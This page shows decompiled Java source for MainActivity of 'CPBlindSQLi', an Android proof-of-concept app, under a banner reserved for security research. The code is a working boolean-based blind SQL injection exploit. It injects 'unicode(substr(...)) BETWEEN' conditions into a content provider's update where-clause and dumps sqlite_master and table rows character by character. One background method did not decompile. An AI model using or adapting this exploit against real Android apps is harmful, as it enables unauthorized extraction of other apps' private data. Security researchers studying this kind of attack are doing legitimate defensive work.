导航菜单

页面标题

页面副标题

CPBlindSQLi v1.0 - MainActivity.java 源代码

正在查看: CPBlindSQLi v1.0 应用的 MainActivity.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package poc.chutchut.cpblindsqli;

import android.content.ContentValues;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class MainActivity extends AppCompatActivity {
    public static final String ROW_CONCAT_DELIM = "!!";
    private static String TAG = "MainActivity";
    private String qTbl;
    private TextView queryLogTxt;
    private EditText sqlTxt;
    private Button triggerSqliBtn;
    private HashMap<String, String> tblCreateMap = new HashMap<>();
    private int dumpLimit = -1;

    private class ExecQueryAsync extends AsyncTask<Void, Void, Void> {
        private String sql;
        private Uri uri;

        public ExecQueryAsync(Uri uri, String str) {
            this.uri = uri;
            this.sql = str;
        }

        @Override
        protected void onPreExecute() {
            MainActivity.this.queryLogTxt.setText("");
            MainActivity.this.dumpLimit = -1;
            MainActivity.this.qTbl = null;
            MainActivity.this.triggerSqliBtn.setEnabled(false);
        }

        @Override
        public java.lang.Void doInBackground(java.lang.Void... r8) {
            throw new UnsupportedOperationException("Method not decompiled: poc.chutchut.cpblindsqli.MainActivity.ExecQueryAsync.doInBackground(java.lang.Void[]):java.lang.Void");
        }

        @Override
        public void onPostExecute(Void r2) {
            MainActivity.this.triggerSqliBtn.setEnabled(true);
            MainActivity.this.qTbl = null;
        }
    }

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        this.queryLogTxt = (TextView) findViewById(R.id.txtLog);
        this.triggerSqliBtn = (Button) findViewById(R.id.btnDumpData);
        this.sqlTxt = (EditText) findViewById(R.id.txtSql);
        this.queryLogTxt.setMovementMethod(new ScrollingMovementMethod());
        this.triggerSqliBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String trim = MainActivity.this.sqlTxt.getText().toString().trim();
                if (!trim.isEmpty()) {
                    MainActivity.this.new ExecQueryAsync(Uri.parse("content://service-number/service_number"), trim).execute(new Void[0]);
                } else {
                    Toast.makeText(MainActivity.this.getApplicationContext(), "No query entered", 0).show();
                }
            }
        });
    }

    @Override
    protected void onResume() {
        super.onResume();
    }

    public void logFromThread(final String str) {
        try {
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    MainActivity.this.queryLogTxt.append(str + "\n");
                }
            });
            Log.i(TAG, str);
        } catch (Exception unused) {
            Log.e(TAG, "Exception writing log text from thread");
        }
    }

    private String getCreateStatementForTable(Uri uri, String str) {
        String[] row = getRow(uri, String.format("SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = '%s'", str), 0);
        if (row == null || row.length <= 0) {
            return null;
        }
        return row[0];
    }

    private ArrayList<String> getCreateCols(String str) {
        ArrayList<String> arrayList = new ArrayList<>();
        Matcher matcher = Pattern.compile("CREATE\\s+TABLE\\s+[\"']?\\w+[\"']?\\s*\\(((.|\\n)+)\\)", 2).matcher(str.replace("`", ""));
        if (matcher.find()) {
            for (String str2 : matcher.group(1).split(",")) {
                String str3 = str2.trim().split(" ")[0];
                if (str3.matches("^[0-9A-Za-z-_]+[0-9a-z-_]+$")) {
                    arrayList.add(str3);
                }
            }
        }
        return arrayList;
    }

    private ArrayList<String> getTableFields(String str) {
        String str2 = this.tblCreateMap.get(str);
        if (str2 != null) {
            return getCreateCols(str2);
        }
        return null;
    }

    public void getRows(Uri uri, String str) {
        String str2;
        String str3;
        QueryParser queryParser = new QueryParser(str);
        if (!queryParser.getCols(null).isEmpty() || queryParser.isWildcard()) {
            int[] limitOffset = queryParser.getLimitOffset();
            String from = queryParser.getFrom();
            if (limitOffset != null) {
                this.dumpLimit = limitOffset[0];
                str = queryParser.removeLimitOffset();
            }
            if (from != null) {
                this.qTbl = from;
            }
            if (queryParser.isWildcard() && (str2 = this.qTbl) != null) {
                if (!this.tblCreateMap.containsKey(str2)) {
                    logFromThread("Getting CREATE statement for table: " + this.qTbl);
                    str3 = getCreateStatementForTable(uri, this.qTbl);
                    if (str3 == null) {
                        logFromThread("Failed to get CREATE statement");
                        return;
                    }
                    this.tblCreateMap.put(this.qTbl, str3);
                } else {
                    str3 = this.tblCreateMap.get(this.qTbl);
                }
                StringBuilder sb = new StringBuilder();
                ArrayList<String> createCols = getCreateCols(str3);
                if (createCols.isEmpty()) {
                    logFromThread("Failed to get CREATE fields for table: " + this.qTbl);
                    return;
                }
                Iterator<String> it = createCols.iterator();
                boolean z = true;
                while (it.hasNext()) {
                    String next = it.next();
                    if (z) {
                        z = false;
                    } else {
                        sb.append(", ");
                    }
                    sb.append(next);
                }
                str = str.replaceFirst("(?i)SELECT\\s+\\*\\s+FROM", "SELECT " + ((Object) sb) + " FROM");
            }
            int indexOf = str.toLowerCase().indexOf(" from ");
            if (indexOf != -1 && str.substring(0, indexOf).contains(",")) {
                str = str.substring(0, indexOf).replace(",", " || '!!' || ") + str.substring(indexOf);
            }
            logFromThread(String.format("Dumping data via blind SQLi for query '%s', Uri: %s", str, uri));
            String[] row = getRow(uri, String.format(Locale.getDefault(), "SELECT COUNT(*) FROM (%s)", str), 0);
            if (row == null || row.length == 0) {
                logFromThread("No rows returned, cannot continue");
                return;
            }
            int parseInt = Integer.parseInt(row[0]);
            logFromThread(String.format(Locale.getDefault(), "Query will return %d row(s)", Integer.valueOf(parseInt)));
            ArrayList arrayList = new ArrayList();
            for (int i = 0; i < parseInt; i++) {
                int i2 = this.dumpLimit;
                if (i2 != -1 && i >= i2) {
                    break;
                }
                String[] row2 = getRow(uri, str, i);
                if (row2 != null) {
                    arrayList.add(row2);
                }
            }
            int i3 = 0;
            while (i3 < arrayList.size()) {
                int i4 = i3 + 1;
                StringBuilder sb2 = new StringBuilder(String.format(Locale.getDefault(), "Row %d: ", Integer.valueOf(i4)));
                for (String str4 : (String[]) arrayList.get(i3)) {
                    sb2.append(str4);
                    sb2.append(" | ");
                }
                logFromThread(sb2.toString());
                i3 = i4;
            }
            return;
        }
        logFromThread("Failed to parse SQL");
    }

    private String[] getRow(Uri uri, String str, int i) {
        int i2;
        int i3;
        String str2 = str + " LIMIT 1 OFFSET " + i;
        StringBuilder sb = new StringBuilder();
        int i4 = 0;
        int i5 = 0;
        while (true) {
            char c = getChar(uri, str2, i5);
            i2 = 3;
            if (c == 0) {
                break;
            }
            logFromThread(String.format(Locale.getDefault(), "Got char for row %d at index %d: %s", Integer.valueOf(i + 1), Integer.valueOf(i5), Character.valueOf(c)));
            sb.append(c);
            i5++;
        }
        if (!sb.toString().trim().isEmpty()) {
            String sb2 = sb.toString();
            return sb2.contains(ROW_CONCAT_DELIM) ? sb2.split(ROW_CONCAT_DELIM, -1) : new String[]{sb2};
        }
        String str3 = this.qTbl;
        if (str3 != null && getTableFields(str3) != null) {
            Iterator<String> it = getTableFields(this.qTbl).iterator();
            int i6 = 1;
            while (it.hasNext()) {
                String next = it.next();
                if (i6 == 0) {
                    sb.append(ROW_CONCAT_DELIM);
                    i3 = i4;
                } else {
                    i6 = i4;
                    i3 = i6;
                }
                while (true) {
                    Locale locale = Locale.getDefault();
                    Object[] objArr = new Object[i2];
                    objArr[i4] = next;
                    objArr[1] = this.qTbl;
                    objArr[2] = Integer.valueOf(i);
                    char c2 = getChar(uri, String.format(locale, "SELECT %s FROM %s LIMIT 1 OFFSET %d", objArr), i3);
                    if (c2 != 0) {
                        Locale locale2 = Locale.getDefault();
                        Object[] objArr2 = new Object[2];
                        objArr2[i4] = Integer.valueOf(i3);
                        objArr2[1] = Character.valueOf(c2);
                        logFromThread(String.format(locale2, "Got char at index %d: %s", objArr2));
                        sb.append(c2);
                        i3++;
                        i4 = 0;
                        i2 = 3;
                    }
                }
                i2 = 3;
            }
            return sb.toString().split(ROW_CONCAT_DELIM, -1);
        }
        logFromThread("Failed to get chars of row " + (i + 1));
        return null;
    }

    private char getChar(Uri uri, String str, int i) {
        ContentValues contentValues = new ContentValues();
        contentValues.put("rowid", "123");
        int i2 = 0;
        int i3 = 127;
        boolean z = true;
        while (true) {
            int i4 = i2 + i3;
            if (boolExploitUpdate(uri, contentValues, String.format(Locale.getDefault(), "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d", str, Integer.valueOf(i + 1), Integer.valueOf(i2), Integer.valueOf(i4)))) {
                if (i3 == 0) {
                    return (char) i2;
                }
                i3 = i3 > 3 ? i3 / 2 : i3 - 1;
            } else if (i2 != 0 || (i3 != 127 && i3 != 1114111)) {
                i2 = i3 > 0 ? i4 : i2 + 1;
            } else {
                if (!z) {
                    return (char) 0;
                }
                z = false;
                i3 = 1114111;
            }
        }
    }

    private boolean boolExploitUpdate(Uri uri, ContentValues contentValues, String str) {
        try {
            return getContentResolver().update(uri, contentValues, str, null) > 0;
        } catch (Exception e) {
            if (e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed")) {
                return true;
            }
            Log.e(TAG, "Exception performing exploit query: " + e.getMessage());
            return false;
        }
    }
}